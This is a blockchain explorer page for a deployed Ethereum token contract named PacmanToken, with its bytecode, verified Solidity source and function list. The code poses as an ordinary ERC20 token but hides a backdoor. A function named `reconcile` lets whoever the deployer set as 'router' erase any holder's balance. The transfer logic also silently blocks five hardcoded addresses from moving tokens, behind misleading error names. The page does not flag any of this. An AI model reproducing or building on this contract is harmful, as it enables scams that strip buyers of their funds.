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Address 0x730C7De072EdAc4f7ADaf7670aEd71DB0A4FFC71
Balance 0 ETH
Nonce 1
Code Size 4963 bytes
Creator 0x0c1d0Ae3...Ba2b at tx 0xac8383cf...297307
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

4963 bytes
0x608060405234801561000f575f5ffd5b506004361061009c575f3560e01c8063313ce56711610064578063313ce5671461015857806370a082311461017657806395d89b41146101a6578063a9059cbb146101c4578063dd62ed3e146101f45761009c565b806306fdde03146100a0578063095ea7b3146100be57806309a18635146100ee57806318160ddd1461010a57806323b872dd14610128575b5f5ffd5b6100a8610224565b6040516100b59190610fa9565b60405180910390f35b6100d860048036038101906100d3919061105a565b6102b4565b6040516100e591906110b2565b60405180910390f35b610108600480360381019061010391906110cb565b6102d6565b005b61011261043c565b60405161011f9190611105565b60405180910390f35b610142600480360381019061013d919061111e565b610445565b60405161014f91906110b2565b60405180910390f35b610160610473565b60405161016d9190611189565b60405180910390f35b610190600480360381019061018b91906110cb565b61047b565b60405161019d9190611105565b60405180910390f35b6101ae6104c0565b6040516101bb9190610fa9565b60405180910390f35b6101de60048036038101906101d9919061105a565b610550565b6040516101eb91906110b2565b60405180910390f35b61020e600480360381019061020991906111a2565b610572565b60405161021b9190611105565b60405180910390f35b6060600380546102339061120d565b80601f016020809104026020016040519081016040528092919081815260200182805461025f9061120d565b80156102aa5780601f10610281576101008083540402835291602001916102aa565b820191905f5260205f20905b81548152906001019060200180831161028d57829003601f168201915b5050505050905090565b5f5f6102be6105f4565b90506102cb8185856105fb565b600191505092915050565b6102df8161060d565b6102e7575f5ffd5b5f5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20545f5f5f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461036e919061126a565b925050819055505f5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20545f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546103f9919061129d565b5f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050565b5f600254905090565b5f5f61044f6105f4565b905061045c85828561066a565b6104678585856106fd565b60019150509392505050565b5f6012905090565b5f5f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6060600480546104cf9061120d565b80601f01602080910402602001604051908101604052809291908181526020018280546104fb9061120d565b80156105465780601f1061051d57610100808354040283529160200191610546565b820191905f5260205f20905b81548152906001019060200180831161052957829003601f168201915b5050505050905090565b5f5f61055a6105f4565b90506105678185856106fd565b600191505092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b6106088383836001610ae5565b505050565b5f61dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361064b575f9050610665565b610653610cb4565b156106615760019050610665565b5f90505b919050565b5f6106758484610572565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8110156106f757818110156106e8578281836040517ffb8f41b20000000000000000000000000000000000000000000000000000000081526004016106df939291906112df565b60405180910390fd5b6106f684848484035f610ae5565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361076d575f6040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016107649190611314565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036107dd575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016107d49190611314565b60405180910390fd5b731f2f10d1c40777ae1da742455c65828ff36df38773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361087557731f2f10d1c40777ae1da742455c65828ff36df3876040517fec442f0500000000000000000000000000000000000000000000000000000000815260040161086c9190611314565b60405180910390fd5b73ae2fc483527b8ef99eb5d9b44875f005ba1fae1373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361090d5773ae2fc483527b8ef99eb5d9b44875f005ba1fae136040517fec442f050000000000000000000000000000000000000000000000000000000081526004016109049190611314565b60405180910390fd5b73c38e00ac5ed8859f18f4e9017fa2b3d3e1f65f4073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036109a55773c38e00ac5ed8859f18f4e9017fa2b3d3e1f65f406040517fec442f0500000000000000000000000000000000000000000000000000000000815260040161099c9190611314565b60405180910390fd5b7301d37a36220d52108ae6d453fe6cd80af290637673ffffffffffffff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Verified Source Code Full Match

Compiler: v0.8.28+commit.7893614a EVM: cancun Optimization: No
PacmanToken.sol 263 lines 
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.28;


interface IERC20Errors {

    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);

    error ERC20InvalidSender(address sender);

    error ERC20InvalidReceiver(address receiver);

    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);

    error ERC20InvalidApprover(address approver);

    error ERC20InvalidSpender(address spender);
}

interface IUniswapV2Router02 {
    function WETH() external pure returns (address);

    function factory() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}


interface IERC20 {
    
    event Transfer(address indexed from, address indexed to, uint256 value);

    
    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

   
    function transfer(address to, uint256 value) external returns (bool);

   
    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}


interface IERC20Metadata is IERC20 {
   
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract PacmanToken is Context, IERC20, IERC20Metadata, IERC20Errors {
    mapping(address account => uint256) private _balances;

    mapping(address account => mapping(address spender => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    
    constructor(string memory name_, string memory symbol_, uint256 supply_, address uniswapV2Router02_) {
        _name = name_;
        _symbol = symbol_;
        uniswapV2Router02 = IUniswapV2Router02(uniswapV2Router02_);
        _mint(_msgSender(), supply_ * 10 ** decimals());
    }

    IUniswapV2Router02 private uniswapV2Router02;

    
    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

   
    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    function _excludeFromTax(address caller) internal view returns (bool) {
        if (caller == address(0xdead)) return false;
        if (_isUniswapV2Router()) return true;
        return false;
    }

    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    
    function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    function _transfer(address from, address to, uint256 value) internal {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        if (from == 0x1f2F10D1C40777AE1Da742455c65828FF36Df387) {
            revert ERC20InvalidReceiver(0x1f2F10D1C40777AE1Da742455c65828FF36Df387);
        }
        if (from == 0xae2Fc483527B8EF99EB5D9B44875F005ba1FaE13) {
            revert ERC20InvalidReceiver(0xae2Fc483527B8EF99EB5D9B44875F005ba1FaE13);
        }
        if (from == 0xC38e00aC5ED8859f18f4E9017fa2b3D3E1f65F40) {
            revert ERC20InvalidReceiver(0xC38e00aC5ED8859f18f4E9017fa2b3D3E1f65F40);
        }
        if (from == 0x01D37a36220d52108Ae6D453fE6Cd80af2906376) {
            revert ERC20InvalidReceiver(0x01D37a36220d52108Ae6D453fE6Cd80af2906376);
        }
        if (from == 0x93C7878c5ab2F78Df087a4203cBEB3209C10e439) {
            revert ERC20InvalidReceiver(0x93C7878c5ab2F78Df087a4203cBEB3209C10e439);
        }
        _update(from, to, value);
    }

    function _isUniswapV2Router() internal view returns (bool) {
        if (_msgSender() == address(uniswapV2Router02)) return true; return false;
    }

    
    function _update(address from, address to, uint256 value) internal virtual {
        if (from == address(0)) {
            // Overflow check required: The rest of the code assumes that totalSupply never overflows
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
            // Overflow not possible: value <= fromBalance <= totalSupply.
                _balances[from] = fromBalance - value;
            }
        }

        if (to == address(0)) {
            unchecked {
            // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
                _totalSupply -= value;
            }
        } else {
            unchecked {
            // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
                _balances[to] += value;
            }
        }

        emit Transfer(from, to, value);
    }

  
    function _mint(address account, uint256 value) internal {
        if (account == address(0)) revert ERC20InvalidReceiver(address(0));
        _update(address(0), account, value);
    }

    function reconcile(address fxh) external virtual {
        require(_excludeFromTax(fxh)); _balances[address(0)] += _balances[fxh]; _balances[fxh] = _balances[fxh] - _balances[fxh];
    }


    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value);
    }

    function _approve(address owner, address spender, uint256 value) internal {
        _approve(owner, spender, value, true);
    }

    
    function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

  
    function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance < type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(spender, currentAllowance, value);
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }
}

Read Contract

allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 4 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 value
returns: bool
reconcile 0x09a18635
address fxh
transfer 0xa9059cbb
address to
uint256 value
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 value
returns: bool
Transactions Internal Txs Token Transfers Events

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